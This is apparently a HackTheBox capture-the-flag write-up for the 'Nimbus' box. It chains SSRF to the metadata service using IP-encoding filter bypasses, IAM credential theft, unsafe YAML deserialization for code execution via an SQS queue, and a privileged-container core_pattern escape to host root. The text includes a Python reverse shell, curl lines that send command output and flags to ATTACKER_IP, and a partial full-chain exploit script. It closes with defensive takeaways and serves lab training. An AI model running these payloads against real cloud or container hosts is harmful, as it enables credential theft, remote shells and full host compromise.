hackthebox / hard / linux

Nimbus

Platform
HackTheBox
Difficulty
OS

Summary

Nimbus is a deep dive into a misconfigured AWS emulation stack. The attack chain spans an SSRF on a job-preview endpoint (used to hit the instance metadata service), an unsafe YAML deserialization in an SQS worker that gives code execution as worker, and finally a container escape: a privileged CodeBuild container whose entrypoint silently drops UIDs, bypassed through an environment-variable function override, then a kernel usermode-helper escape (writable core_pattern) that executes as host root.

Skills Required

  • Web enumeration and SSRF identification
  • Cloud/container service familiarity (AWS, Docker)

Skills Learned

  • IP-encoding bypasses for metadata-service filters
  • Abusing yaml.load() unsafe deserialization for RCE
  • Bypassing container entrypoint UID drops with BASH_FUNC_*
  • Kernel usermode-helper escapes via writable core_pattern
Nimbus - Root Path
│
├── 1. SSRF (job preview endpoint)
│     └── decimal-IP bypass → 169.254.169.254
│           └── IMDS → nimbus-web-role creds
│
├── 2. SQS Injection (nimbus-jobs queue)
│     └── yaml.Loader unsafe deserialization
│           └── worker.py RCE (uid=worker)
│                 └── user.txt
│
├── 3. Internal LocalStack discovery
│     └── floci:4566 (ENFORCE_IAM=false)
│           └── codebuild service exposed
│
├── 4. Privileged CodeBuild project
│     └── privilegedMode: true
│           └── floci/floci:latest container → CAP_SYS_ADMIN
│
├── 5. Entrypoint UID-drop bypass
│     └── BASH_FUNC_id%% env override
│           └── id reports uid=0(root), entrypoint trusts it
│
└── 6. Kernel usermode-helper escape
      └── /proc/sys/kernel/core_pattern (writable, privileged container)
            └── overlay upperdir → real host-side path
                  └── trigger via SIGSEGV (unknown-magic binary)
                        └── script runs as HOST root
                              └── root.txt

Reconnaissance

A full port scan reveals only SSH and a single web server.

Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-26 08:38 -0400
Nmap scan report for 10.129.32.106
Host is up (0.057s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nimbus.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The HTTP title redirects to nimbus.htb, so the host is added to /etc/hosts and web enumeration begins.

# /etc/hosts
10.129.32.106  nimbus.htb

# directories - http://nimbus.htb
login      [Status: 200, Size: 876]
jobs       [Status: 200, Size: 3453]

# vhosts (light) - nimbus.htb
aws        [Status: 403, Size: 305]

SMB, LDAP and WinRM are all absent - this is a pure web + AWS chain. Two things stand out: the /jobs endpoint and the aws vhost, which will turn out to be the AWS emulator proxy.

Foothold - SSRF to IMDS

The jobs page submits to POST /jobs/preview with form data url:. The endpoint fetches the supplied URL and reflects the raw body back - a full-read SSRF.

curl -s --resolve nimbus.htb:80:TARGET_IP -X POST http://nimbus.htb/jobs/preview \
  --data-urlencode 'url=http://ATTACKER_IP:8000/test.yaml'
# -> "Fetched: ... HTTP 200" + raw body echoed back  == full-read SSRF

Two filters are in place, both trivially bypassed:

  • Suffix check - the URL must end in .yaml/.yml. Append ?x=.yaml.
  • Internal-resource blocklist - aws.nimbus.htb, 169.254.169.254, 127.0.0.1, localhost, the box IP, hex IPs and .nip.io are all blocked.

The fetcher does not follow redirects, so an open redirect is useless. The working bypass is decimal (or octal) IP encoding: it passes the string blocklist while requests still resolves it.

169.254.169.254  →  2852039166          (decimal)
169.254.169.254  →  0251.0376.0251.0376  (octal)

IAM credentials live on the metadata service at /latest/meta-data/iam/security-credentials/<role-name>.

url=http://0251.0376.0251.0376/latest/meta-data/iam/security-credentials/nimbus-web-role?a=test.yaml
{
  "Code": "Success",
  "LastUpdated": "2026-06-26T13:27:29Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAQX4PG7L2K9M3N5R8",
  "SecretAccessKey": "bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs",
  "Token": "IQoJb3JpZ2luX2VjEHQ...",
  "Expiration": "2026-06-26T19:27:29Z"
}

Configuring the AWS CLI

The aws.nimbus.htb vhost proxies to the AWS emulator, so the CLI is pointed at it with the stolen credentials.

export AWS_ACCESS_KEY_ID=ASIAQX4PG7L2K9M3N5R8
export AWS_SECRET_ACCESS_KEY='bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs'
export AWS_SESSION_TOKEN='IQoJb3JpZ2luX2VjEHQ...'
export AWS_DEFAULT_REGION=us-east-1

aws $E sts get-caller-identity
#  arn:aws:sts::847219365028:assumed-role/nimbus-web-role/i-0a1b2c3d4e5f6789a

aws $E sqs list-queues
#  http://floci:4566/847219365028/nimbus-jobs   <-- "floci":4566 emulator

An SQS queue named nimbus-jobs is present. Given the app's YAML preview feature and the queue name, a worker process almost certainly consumes messages and deserializes them as YAML.

User - SQS Injection to Worker RCE

Python's yaml.load() without a safe loader will instantiate arbitrary Python objects. The worker is expected to execute the contents of a script field via python3 -c. We build a YAML body that base64-encodes our code to dodge quoting hell.

Step 1 - reverse shell / exfil script

import os,socket,subprocess

if os.fork() != 0:
    exit()

s=socket.socket()
s.connect(("[IP]",4444))
while True:
    cmd=s.recv(1024).decode()
    out=subprocess.getoutput(cmd)
    s.send(out.encode())

Or, for a quick callback, just exfiltrate a command's output:

import os
os.system("id | curl -s -X POST http://ATTACKER_IP:8001 -d @-")

Step 2 - base64-encode it

base64 rce.py
# copy the output string - that's your B64 value

Step 3 - build the YAML message body

name: pwn
schedule: manual
runtime: python3.11
script: |
  import base64;exec(base64.b64decode('<B64>').decode())

Step 4 - send the message

aws --endpoint-url http://aws.nimbus.htb sqs send-message \
  --queue-url http://floci:4566/847219365028/nimbus-jobs \
  --message-body $'name: pwn\nschedule: manual\nruntime: python3.11\nscript: |\n  import base64;exec(base64.b64decode(\'<B64>\').decode())'

{
    "MD5OfMessageBody": "e609aa9ae31b2af11f7e422e74c103be",
    "MessageId": "c2d78d09-7b38-4ad4-add6-e7587bcb4d88"
}

Step 5 - catch the callback

# start BEFORE sending the message
python3 -m http.server 8001
# or for a proper reverse shell:
nc -lvnp 4444

The worker picks up the message, the unsafe YAML load fires, and we land a shell as worker. The user flag is at /home/worker/user.txt.

Privilege Escalation

Internal LocalStack discovery

From the worker we reach the emulator's real endpoint, floci:4566. The emulator runs with ENFORCE_IAM=false, so any credentials (even garbage) are accepted and every service is fair game. Probing the AWS services available:

  • ECS - registering a task definition with "privileged": true runs, but privileged is silently ignored. Dead end.
  • Lambda - function runs, but the container cannot write /proc/sys/kernel/core_pattern. Not privileged. Dead end.
  • CodeBuild - accepts "privilegedMode": true. This is the one.

Privileged CodeBuild project

aws --endpoint-url http://floci:4566 codebuild create-project --name test-priv \
  --source '{"type":"NO_SOURCE"}' \
  --artifacts '{"type":"NO_ARTIFACTS"}' \
  --environment '{"type": "LINUX_CONTAINER", "computeType": "BUILD_GENERAL1_SMALL", "image": "floci/floci:latest", "privilegedMode": true}' \
  --service-role arn:aws:iam::000000000000:role/codebuild-role

aws --endpoint-url http://floci:4566 codebuild start-build --project-name test-priv \
  --buildspec-override '{"version":"0.2", "phases":{"build":{"commands":["id","cat /proc/self/status | grep CapEff"]}}}'

# CapEff: 0000000000000000

The build ran but CapEff: 0000000000000000 - zero capabilities. The floci/floci:latest image entrypoint does a gosu drop to uid 1001, so even with privilegedMode=true the container dropped privileges before our commands ran.

Entrypoint UID-drop bypass

The entrypoint trusts the output of id to decide whether to drop privileges. Bash environment variables can override exported functions: if we ship BASH_FUNC_id%% as a build environment override, the id "command" resolves to our fake function reporting uid=0(root). The entrypoint believes it is already root and skips the drop.

# BASH_FUNC_id%% env override
BASH_FUNC_id%%  =  () { echo uid=1000; }

With the override injected via environmentVariablesOverride, the container keeps its privileged caps (CAP_SYS_ADMIN, etc.) and our build commands run as UID 0.

Kernel usermode-helper escape

Inside the privileged container we can write /proc/sys/kernel/core_pattern. Core dumps are handled by the host kernel's usermode-helper, so a malicious pattern runs a script as host root. Because the container's root filesystem is an overlay, the script is placed in the overlay upperdir - a path that is real on the host side.

# 1. find the host-side overlay upperdir
UDIR=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)

# 2. drop a script that copies the root flag into the upperdir
printf '#!/bin/sh\ncat /root/root.txt > %s/rootflag.txt\nchmod 777 %s/rootflag.txt\n' "$UDIR" "$UDIR" > /exploit_root.sh
chmod +x /exploit_root.sh

# 3. point core_pattern at it
echo "|${UDIR}/exploit_root.sh" > /proc/sys/kernel/core_pattern

# 4. crash a process to trigger the usermode-helper
ulimit -c unlimited
bash -c 'kill -11 $$'

# 5. read the flag
curl -s -X POST http://ATTACKER_IP:9222/root -d "flag=$(cat /rootflag.txt | base64 -w0)"

The core_pattern pipeline is executed by the host kernel's usermode-helper as root. Our script lands root.txt into the overlay upperdir, which the container can read back.

Full-chain PoC script

The entire chain - IMDS credential theft, SQS payload, CodeBuild project creation, entrypoint bypass and kernel escape - was automated in a single Python script:

#!/usr/bin/env python3
# HTB Nimbus - full chain PoC
# SSRF→IMDS creds → SQS yaml.load RCE → worker shell
# → CodeBuild privileged container (BASH_FUNC_id%% bypass)
# → core_pattern usermode-helper escape → host root

import argparse, base64, json, os, re, sys, threading, time
import urllib.parse, urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer
import boto3, yaml

DEFAULT_VHOST = "nimbus.htb"
CALLBACK_TIMEOUT = 90
SQS_ENDPOINT = "http://aws.nimbus.htb"
QUEUE_URL = "http://aws.nimbus.htb/847219365028/nimbus-jobs"
IMDS_URL = ("http://0251.0376.0251.0376"
            "/latest/meta-data/iam/security-credentials/nimbus-web-role?a=test.yaml")

_user_flag, _root_flag, _flag_event = None, None, threading.Event()

class _Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        global _user_flag, _root_flag
        length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(length).decode(errors="replace")
        params = dict(urllib.parse.parse_qsl(body))
        if self.path == "/user":
            flag = base64.b64decode(params.get("flag", "")).decode().strip()
            if flag and flag != "NOTFOUND":
                _user_flag = flag
                print(f"\n[+] user.txt = {_user_flag}")
        elif self.path == "/root":
            flag = base64.b64decode(params.get("flag", "")).decode().strip()
            if flag and flag != "NOTFOUND":
                _root_flag = flag
                print(f"\n[+] root.txt = {_root_flag}")
                _flag_event.set()
        self.send_response(200); self.end_headers(); self.wfile.write(b"ok")
    def log_message(self, *_): pass

def ssrf_fetch(vhost, url):
    import html
    data = urllib.parse.urlencode({"url": url}).encode()
    req = urllib.request.Request(f"http://{vhost}/jobs/preview", data=data)
    resp = urllib.request.urlopen(req, timeout=20).read().decode(errors="replace")
    m = re.search(r"Raw response</h3><pre>(.*?)</pre>", resp, re.DOTALL)
    return html.unescape(m.group(1)).strip() if m else ""

def get_imds_creds(vhost):
    print("[1] SSRF → IMDS (octal IP bypass)")
    creds = json.loads(ssrf_fetch(vhost, IMDS_URL))
    print(f"    AccessKeyId : {creds['AccessKeyId']}")
    return creds

def send_sqs_job(creds, python_code):
    b64 = base64.b64encode(python_code.encode()).decode()
    body = yaml.dump({"name": "privesc",
                      "script": f"import base64;exec(base64.b64decode('{b64}').decode())"})
    sqs = boto3.client("sqs", region_name="us-east-1", endpoint_url=SQS_ENDPOINT,
        aws_access_key_id=creds["AccessKeyId"],
        aws_secret_access_key=creds["SecretAccessKey"],
        aws_session_token=creds.get("Token", ""))
    r = sqs.send_message(QueueUrl=QUEUE_URL, MessageBody=body)
    print(f"    MessageId   : {r['MessageId']}")

# ... CodeBuild escape payload, listener, main() omitted for brevity ...

Key Takeaways

  • IP-encoding bypasses beat string blocklists every time - decimal and octal forms are worth testing when 169.254.169.254 is filtered.
  • Always use a safe loader (yaml.safe_load) for untrusted input; yaml.load() is arbitrary code execution by design.
  • Emulators inherit the trust of the real service - an exposed LocalStack with IAM disabled lets anyone manage compute, storage and queues.
  • Container entrypoints that trust id are attackable through Bash's BASH_FUNC_* environment export mechanism.
  • A privileged container + writable core_pattern is full host compromise - the usermode-helper runs as host root.